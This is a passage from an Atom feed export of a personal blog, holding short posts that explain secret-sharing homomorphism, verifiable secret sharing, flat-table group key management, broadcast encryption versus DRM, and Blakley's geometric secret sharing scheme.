src='https://blogger.googleusercontent.com/tracker/3102026624715864168-6727104981755678180?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/6727104981755678180/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=6727104981755678180' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6727104981755678180'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6727104981755678180'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/02/encryption-in-cloud.html' title='Encryption in the cloud'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4979463489091585418</id><published>2011-02-21T16:46:00.005-05:00</published><updated>2011-02-21T16:55:15.521-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Homomorphism in Shamir's secret sharing</title><content type='html'>The homomorphism property in the Shamir's secret sharing scheme is a simple but a very powerful idea that could be useful to reduce the trust we have to put on the dealer to correctly distribute secret shares to users. (See my &lt;a href="http://mohamednabeel.blogspot.com/2011/02/simple-construction-of-veribable-secret.html"&gt;previous post&lt;/a&gt; for an introduction on verifiable secret sharing).&lt;br /&gt;&lt;br /&gt;Let's look a simple example to see what this property means.&lt;br /&gt;&lt;br /&gt;Assume that we have two degree two polynomials &lt;i&gt;g&lt;/i&gt; and &lt;i&gt;f&lt;/i&gt; which we can use to create two 3-out-of-n secret sharing schemes where at least 3 out of n users should get together to obtain the secret.&lt;br /&gt;&lt;br /&gt;&lt;i&gt; f(x) = 2 + x + x&lt;sup&gt;2&lt;/sup&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt; g(x) = 3 + 2x + 3x&lt;sup&gt;2&lt;/sup&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;We have three users with the following secret shares given from the two secret sharing polynomials where the secrets are 2 and 3 for &lt;i&gt;f&lt;/i&gt; and &lt;i&gt;g&lt;/i&gt; respectively. Let's call them &lt;i&gt;sub-secrets&lt;/i&gt;.&lt;br /&gt;&lt;table style="width: 129px; height: 77px;" border="1"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;User&lt;/td&gt;&lt;td&gt;&lt;i&gt;f&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;g&lt;/i&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;u&lt;sub&gt;1&lt;/sub&gt;&lt;/td&gt;&lt;td&gt;(1,4)&lt;/td&gt;&lt;td&gt;(1,8)&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;u&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;&lt;td&gt;(2,8)&lt;/td&gt;&lt;td&gt;(2,19)&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;u&lt;sub&gt;3&lt;/sub&gt;&lt;/td&gt;&lt;td&gt;(3,14)&lt;/td&gt;&lt;td&gt;(1,36)&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Let's call the combination of the two sub-secrets as the &lt;i&gt;super-secret&lt;/i&gt;, which is equal to 5. The problem we have at hand is "how can the users construct the super-secret revealing as little information about the sub-secrets as possible?".&lt;br /&gt;&lt;br /&gt;It is not difficult to see that if the three users releases the sum of their secret shares, that is (1, 12), (2, 27) and (3, 50), and do the polynomial interpolation on in it, the combined function gives the super-secret 5. So, the sum of the shares of the secrets are the shares of the sum of the secrets. This is what the homomorphism property is.&lt;br /&gt;&lt;br /&gt;The above relationship is defined as the (+, +)-homomorphism. It could be two different operators. For example, Shamir's secret sharing scheme can be converted to (*, +)-homomorphism by using discrete log of secret shares.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;Josh Cohen Benaloh, &lt;b&gt;Secret Sharing Homomorphisms: Keeping Shares of a Secret&lt;/b&gt;, &lt;i&gt;Proceedings on Advances in cryptology---CRYPTO&lt;/i&gt;, 1986&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4979463489091585418?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4979463489091585418/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4979463489091585418' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4979463489091585418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4979463489091585418'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/02/homomorphism-in-shamirs-secret-sharing.html' title='Homomorphism in Shamir&apos;s secret sharing'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-5948682995741252408</id><published>2011-02-18T15:36:00.007-05:00</published><updated>2011-02-18T15:49:54.996-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>A simple construction of a veribable secret sharing scheme</title><content type='html'>In a SS (Secret Sharing) scheme a secret is split among many people and some of them need to corporate to build the secret from their shares of the secret. In in it is basic form, a dealer who possesses the secret &lt;i&gt;s&lt;/i&gt; splits the secret and gives the secret share &lt;i&gt;s&lt;sub&gt;i&lt;/sub&gt;&lt;/i&gt; to each party P&lt;sub&gt;i&lt;/sub&gt;, &lt;i&gt;i = 1, 2, ..., n&lt;/i&gt;. The protocol makes sure that there should be at least &lt;i&gt;t+1&lt;/i&gt; parties to derive the master secret &lt;i&gt;s&lt;/i&gt;. In other words, &lt;i&gt;t&lt;/i&gt; or less number of parties cannot derive the secret.&lt;br /&gt;&lt;br /&gt;In a normal SS scheme, the dealer is assumed to be honest. What if the dealer can be malicious? That's where VSS (Verifiable Secret Sharing) comes to play. VSS is similar to SS except that it allows each party to verify that the share given to them, &lt;i&gt;s&lt;sub&gt;i&lt;/sub&gt;&lt;/i&gt;, is a valid one.&lt;br /&gt;&lt;br /&gt;Here's a simple VSS scheme using Shamir's secret sharing and additive homomorphic encryption.&lt;br /&gt;&lt;br /&gt;An additive homomorphic encryption scheme (e.g. ElGamal cryptosystem) allows us to perform addition over encrypted data. In particular, we use the following properties. Let &lt;i&gt;E&lt;/i&gt; be the encryption algorithm and &lt;i&gt;m&lt;sub&gt;1&lt;/sub&gt;, m&lt;sub&gt;2&lt;/sub&gt;&lt;/i&gt;  two numbers.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;E(m&lt;sub&gt;1&lt;/sub&gt;)E(m&lt;sub&gt;2&lt;/sub&gt;) = E(m&lt;sub&gt;1&lt;/sub&gt; + m&lt;sub&gt;2&lt;/sub&gt;)&lt;/i&gt;&lt;br /&gt;&lt;i&gt;E(m&lt;sub&gt;1&lt;/sub&gt;)&lt;sup&gt;m&lt;sub&gt;2&lt;/sub&gt;&lt;/sup&gt; = E(m&lt;sub&gt;1&lt;/sub&gt;m&lt;sub&gt;2&lt;/sub&gt;)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The dealer generates secret shares just like in the Shamir's SS scheme. For (&lt;i&gt;n, t+1&lt;/i&gt;) (i.e. out of &lt;i&gt;n&lt;/i&gt; parties, there should be at least &lt;i&gt;t + 1&lt;/i&gt; parties to construct the secret, the dealer selects a random degree &lt;i&gt;t&lt;/i&gt; polynomial &lt;i&gt;f&lt;/i&gt; with &lt;i&gt; f(0) = s&lt;/i&gt;:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;f(x) = s + a&lt;sub&gt;1&lt;/sub&gt;x + a&lt;sub&gt;2&lt;/sub&gt;x&lt;sup&gt;2&lt;/sup&gt; + ... + a&lt;sub&gt;t&lt;/sub&gt;x&lt;sup&gt;t&lt;/sup&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The dealer sends the secret share (&lt;i&gt;i, f(i)&lt;/i&gt;) (&lt;i&gt;f(i) = s&lt;sub&gt;i&lt;/sub&gt;&lt;/i&gt;) to each party P&lt;sub&gt;i&lt;/sub&gt; through a private communication channel. Now &lt;i&gt;t + 1&lt;/i&gt; parties can perform a polynomial interpolation and obtain a unique polynomial which is equal to &lt;i&gt;f&lt;/i&gt; and get the secret &lt;i&gt;f(o)&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;In order to verify their secret shares, the dealer distribute an additional piece of information. The dealer generates public and private key pair for the additive homomorphic encryption &lt;i&gt;E&lt;/i&gt; and broadcasts the encrypted coefficients of &lt;i&gt;f&lt;/i&gt;, that is, &lt;i&gt;E(s), E(a&lt;sub&gt;1&lt;/sub&gt;), E(a&lt;sub&gt;2&lt;/sub&gt;), ..., E(a&lt;sub&gt;t&lt;/sub&gt;)&lt;/i&gt;. A party P&lt;sub&gt;i&lt;/sub&gt;, first encrypts it share and compare if the following holds. If it is true, it concludes that the dealer has given a valid secret share.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;E(s&lt;sub&gt;i&lt;/sub&gt;) ==? E(s)E(a&lt;sub&gt;1&lt;/sub&gt;)&lt;sup&gt;i&lt;/sup&gt;E(a&lt;sub&gt;2&lt;/sub&gt;)&lt;sup&gt;i&lt;sup&gt;2&lt;/sup&gt;&lt;/sup&gt; ... E(a&lt;sub&gt;t&lt;/sub&gt;)&lt;sup&gt;i&lt;sup&gt;t&lt;br /&gt;&lt;br /&gt;&lt;/sup&gt;&lt;/sup&gt;&lt;/i&gt;References:&lt;br /&gt;How to Share a Secret, 1979, Adi Shamir&lt;br /&gt;A Practical Scheme for Non-interactive Verifiable Secret Sharing, 1987, Paul Feldman&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-5948682995741252408?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/5948682995741252408/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=5948682995741252408' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5948682995741252408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5948682995741252408'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/02/simple-construction-of-veribable-secret.html' title='A simple construction of a veribable secret sharing scheme'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-542454834288158757</id><published>2011-02-15T18:07:00.002-05:00</published><updated>2011-02-16T15:12:45.718-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Flat table based group key management</title><content type='html'>Flat table (FT) key management is a simple way to manage group key. In it is basic form, it is quite efficient, but it is susceptible to collusion attacks.&lt;br /&gt;&lt;br /&gt;First the notations:&lt;br /&gt;GC - Group Controller - the centralized entity that manages the group key&lt;br /&gt;GM - Group Member - a participant who wants to obtains the group key&lt;br /&gt;K - the group key, it is also called DEK (Data Encryption Key) and is used to encrypt broadcast messages to the group.&lt;br /&gt;KEK - Key Encryption Key - a key used to encrypt K.&lt;br /&gt;&lt;br /&gt;Each GM in the group is assiged an identifier, ID. ID is an &lt;i&gt;n&lt;/i&gt;-bit binary number which is denoted as &lt;i&gt;X&lt;sub&gt;n-1&lt;/sub&gt;X&lt;sub&gt;n-2&lt;/sub&gt;...X&lt;sub&gt;0&lt;/sub&gt;&lt;/i&gt;, where &lt;i&gt;X&lt;sub&gt;i&lt;/sub&gt;&lt;/i&gt; is either &lt;i&gt;0&lt;/i&gt; or &lt;i&gt;1&lt;/i&gt;. The maximum size of the group &lt;i&gt;N&lt;/i&gt; = &lt;i&gt;2&lt;sup&gt;n&lt;/sup&gt;&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;GC maintains &lt;i&gt;2n&lt;/i&gt; KEKs, {&lt;i&gt;k&lt;sub&gt;i,b&lt;/sub&gt; | i ∈ Z&lt;sub&gt;n&lt;/sub&gt;, b ∈ Z&lt;sub&gt;2&lt;/sub&gt;&lt;/i&gt;}. That is for each bit position, there are two keys, one for &lt;i&gt;0&lt;/i&gt; and one for &lt;i&gt;1&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;Each GM is given &lt;i&gt;n + 1&lt;/i&gt; keys. Half of the KEKs (i.e. &lt;i&gt;n&lt;/i&gt;) which correspond to the &lt;i&gt;n&lt;/i&gt; bits in its ID and K.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Join&lt;/b&gt;:&lt;br /&gt;Let's assume that the ID of the joing GM is &lt;i&gt;X&lt;sub&gt;n-1&lt;/sub&gt;X&lt;sub&gt;n-2&lt;/sub&gt;...X&lt;sub&gt;0&lt;/sub&gt;&lt;/i&gt;. In order to provide backward secrecy (i.e. not allow the joining GM to access previous keys), we need to update K and &lt;i&gt;n&lt;/i&gt; KEKs {&lt;i&gt;k&lt;sub&gt;i,X&lt;sub&gt;i&lt;/sub&gt;&lt;/sub&gt; | i ∈ Z&lt;sub&gt;n&lt;/sub&gt;&lt;/i&gt;} corresponding to this ID. New K and KEKs are encrtypted with their old K and KEKs respectively and broadcast to the group. GC gives the new K and KEKs to the joining GC though a secure private communication channel.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Leave&lt;/b&gt;:&lt;br /&gt;Let's assume that the ID of the leaving GM is &lt;i&gt;X&lt;sub&gt;n-1&lt;/sub&gt;X&lt;sub&gt;n-2&lt;/sub&gt;...X&lt;sub&gt;0&lt;/sub&gt;&lt;/i&gt;. In order to provide to provide forward secrecy (i.e. not allowing the leaving GM to access new keys), again K and the &lt;i&gt;n&lt;/i&gt; KEKs held by the leaving GM are updated.&lt;br /&gt;However, we need to use a different approach to update the keys since we cannot reuse the old keys to do the job. GC decides a new group key K' and encrypts with the remaining &lt;i&gt;n&lt;/i&gt; keys that the leaving GM does not possess and broadcasts the encrypted messages. An existing group member can decrypt at least one of those messages and obtain the new group key K'. Then GC encrypts each new KEK corresponding to those of the leaving GM twice. First GC encrypts with K' and then encrypts with the old KEK, and then broadcast to the group. It make sure only the existing users can access new KEKs who already had old KEKs. Notice that the leaving GM cannot access since it does not have K' to remove one layer of encryption.&lt;br /&gt;&lt;br /&gt;There are proposals for optimizing for multiple leaves. In one work, the use Boolean function minimization techniques to reduce the complexity.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Collusion attacks&lt;/span&gt;:&lt;br /&gt;When multiple users are removed at once, the FT key management approach is not resistant to collusion attacks.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;References&lt;/span&gt;:&lt;br /&gt;Waldvogel et. al. The VersaKey framework: versatile group key management, 1999&lt;br /&gt;&lt;br /&gt;Chang et. al. Key management for secure internet multicast using Boolean function minimization techniques, INFOCOM 1999&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-542454834288158757?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/542454834288158757/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=542454834288158757' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/542454834288158757'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/542454834288158757'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/02/flat-table-based-group-key-management.html' title='Flat table based group key management'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4117680800871531033</id><published>2011-02-09T15:16:00.004-05:00</published><updated>2011-02-09T15:41:25.857-05:00</updated><title type='text'>What should we have in a security definition/protocol?</title><content type='html'>There are three key components that should be specified in any security definition/protocol.&lt;br /&gt;&lt;br /&gt;1. Adversarial power under which the protocol is secure&lt;br /&gt;2. Network model in which the protocol operates&lt;br /&gt;3. Security guarantees that the protocol provides&lt;br /&gt;&lt;br /&gt;Security is not something absolute. We may not be able to protect a protocol against any type of adversary. A security protocol is meaningless if it does not specify the capabilities of the adversaries under which the protocol is still secure. The capabilities of adversaries are specified in the &lt;span style="font-style: italic;"&gt;adversarial model&lt;/span&gt;. For example, if the adversary is computationally bounded or have unbounded computational power, if the adversary is honest, semi-honest or malicious, etc.&lt;br /&gt;&lt;br /&gt;Your protocol may need a trusted third party to work. It may not be secure without a trusted third party. Your protocols may need certain parties to online at all times. Such information is specified in the network model. Like the adversarial power, your protocol is meaningless without a proper network model.&lt;br /&gt;&lt;br /&gt;As I mentioned earlier, security is moving line; your protocol may solve only certain problems. It is crucial to specify what problems it solves up front as part of the security guarantees.&lt;br /&gt;&lt;br /&gt;In short, you need to specify what security guarantees your security protocol provides under which adversarial and network model. Otherwise, a security protocol is as useless as zero security protocol.&lt;br /&gt;&lt;br /&gt;A &lt;span style="font-weight: bold;"&gt;big mistake&lt;/span&gt; people, especially in the database community, make is to say "our protocol is secure for this data set and it does not reveal any useful information to the adversary". This is very wrong. You cannot define security based on a input data set. What happens when you have a different data set? Will your protocol still be secure? Probably not. Security should never be analyzed by a set of examples. Rather, it should be based on the above 3 objective measures.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4117680800871531033?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4117680800871531033/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4117680800871531033' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4117680800871531033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4117680800871531033'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/02/what-should-we-have-in-security.html' title='What should we have in a security definition/protocol?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-7601408997683450128</id><published>2011-01-28T09:55:00.005-05:00</published><updated>2011-01-28T10:35:15.919-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security piracy'/><title type='text'>Broadcast encryption vs. DRM</title><content type='html'>In the last post, I started looking into the problem of &lt;a href="http://mohamednabeel.blogspot.com/2011/01/broadcast-encryption.html"&gt;broadcast encryption&lt;/a&gt; (BE). In this short post, I am comparing the BE problem with DRM (Digital Rights Management) problem.&lt;br /&gt;&lt;br /&gt;BE and DRM has the common goal of preventing unauthorized users from accessing the content. However, IMO, DRM is more challenging since the adversary could be a privileged user. A privileged user who has legitimate access could decide to copy or convert the content into a different format and share it with non-privileged users. Hence, DRM requires additional mechanisms to prevent copying or conversion or at least mechanism to identify a traitor if DRM is violated.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-7601408997683450128?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/7601408997683450128/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=7601408997683450128' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7601408997683450128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7601408997683450128'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/01/broadcast-encryption-vs-drm.html' title='Broadcast encryption vs. DRM'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-698164149377554291</id><published>2011-01-21T11:39:00.005-05:00</published><updated>2011-01-21T16:12:47.466-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Broadcast encryption</title><content type='html'>Broadcast encryption (BE) deals with encryption schemes designed for broadcast transmission systems such as  pay-TV systems, content dissemination in an organization, the distribution of copyright protected material on disks, audio/video streaming systems and so on. The goal is to allow only an arbitrary subset of users (sometimes called &lt;span style="font-style: italic;"&gt;privileged&lt;/span&gt; users) from the universe of users to access the content while minimizing key management overheads. In this series of blog post, I will be looking into how this field of BE evolved from research point of view, the current state of the art schemes available to address this research problem and future directions.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_tMhXppp4NpE/TTnzKy2oIQI/AAAAAAAADiA/xEn9KhuXgX0/s1600/Screenshot.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 180px;" src="http://3.bp.blogspot.com/_tMhXppp4NpE/TTnzKy2oIQI/AAAAAAAADiA/xEn9KhuXgX0/s320/Screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5564746181368094978" border="0" /&gt;&lt;/a&gt;(Figure: broadcast encryption)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;In a high level, BE works as follows: Each user in the universe is given a set of symmetric keys initially. A set of messages are sent to establish a common key among the set of privileged users so that only the privileged users can decrypt the broadcast messages using the common key.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Naive approach 1&lt;/span&gt;&lt;br /&gt;Each user is given a unique symmetric key.&lt;br /&gt;When a privileged set needs to be establish, the controller selects a group key K and encrypts number of times equal to the size of the privilege set using the symmetric keys of the privileged set and sends to the users.&lt;br /&gt;Subsequent broadcast messages are encrypted with the key K.&lt;br /&gt;&lt;br /&gt;It works but it requires a very long transmission to establish the common key (number of users in the privileged set into the size of the message).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Naive approach 2&lt;/span&gt;&lt;br /&gt;Each possible subset of users is assigned a unique symmetric key.&lt;br /&gt;When broadcasting a message, encrypt it with the correct symmetric key corresponding to the privileged set.&lt;br /&gt;&lt;br /&gt;It also works, but users need to store prohibitively many keys and revocation is also difficult.&lt;br /&gt;&lt;br /&gt;It should be clear that BE is an optimization problem which tries to optimize the following parameters.&lt;br /&gt;1. The number of keys given to each user.&lt;br /&gt;2. The number of transmissions used by the controller to establish the common key.&lt;br /&gt;3. The computation effort involved in retrieving the common key by the users of the privileged set.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;References:&lt;br /&gt;1. Broadcast encryption, Amos Fait and Moni Naor, 1998&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-698164149377554291?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/698164149377554291/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=698164149377554291' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/698164149377554291'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/698164149377554291'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/01/broadcast-encryption.html' title='Broadcast encryption'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tMhXppp4NpE/TTnzKy2oIQI/AAAAAAAADiA/xEn9KhuXgX0/s72-c/Screenshot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-1479544147812578899</id><published>2010-12-12T15:13:00.005-05:00</published><updated>2010-12-12T20:32:24.439-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Thinking security geometrically</title><content type='html'>Recently, I had an interesting conversation where the discussion diverged into the application of geometry in security protocols. Until then, I didn't pay much attention to how we derive security protocols. Actually, most of the time we think about security constructs from the algebraic point of view. We hardly think in terms of geometric shapes. At that time, I couldn't think of a security protocol whose basis is geometry. So, did some research on the topic. Here's one example: one of the very first secret sharing scheme, Blakley's scheme, is based on the really cool idea of intersection of (hyper)planes. The idea is quite simple. Any non-parallel n n-dimensional hyperplanes intersect at a unique point and that unique point corresponds to the master secret and the n hyperplanes correspond to the secret shares. For example, two non-parallel lines on the same plane  intersect at a specific point; two non-parallel planes in the space intersect a specific point. Even the idea behind Shamir's secret sharing scheme could be considered as a geometric construction.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_tMhXppp4NpE/TQVBax4veKI/AAAAAAAADek/RBv5A6fbaus/s1600/Secretsharing-3-point.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 320px;" src="http://2.bp.blogspot.com/_tMhXppp4NpE/TQVBax4veKI/AAAAAAAADek/RBv5A6fbaus/s320/Secretsharing-3-point.png" alt="" id="BLOGGER_PHOTO_ID_5549914044127738018" border="0" /&gt;&lt;/a&gt;(Source: wikipedia)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;In the above diagram, each plane represents a secret share and the intersection point represents the master secret.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-1479544147812578899?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/1479544147812578899/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=1479544147812578899' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1479544147812578899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/1479544147812578899'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2010/12/thinking-security-geometrically.html' title='Thinking security geometrically'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_tMhXppp4NpE/TQVBax4veKI/AAAAAAAADek/RBv5A6fbaus/s72-c/Secretsharing-3-point.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-5520897196781527116</id><published>2010-10-18T09:32:00.002-04:00</published><updated>2010-10-18T09:45:00.759-04:00</updated><title type='text'>GWT</title><content type='html'>I have been doing a lot of AJAX based programming lately..thanks to Google Web Toolkit I don't need to worry about underlying AJAX calls; it works seamlessly..however, I had some issues with layouts and laying out widgets..GWT (2.0) works well when you set explicit height and width for widgets 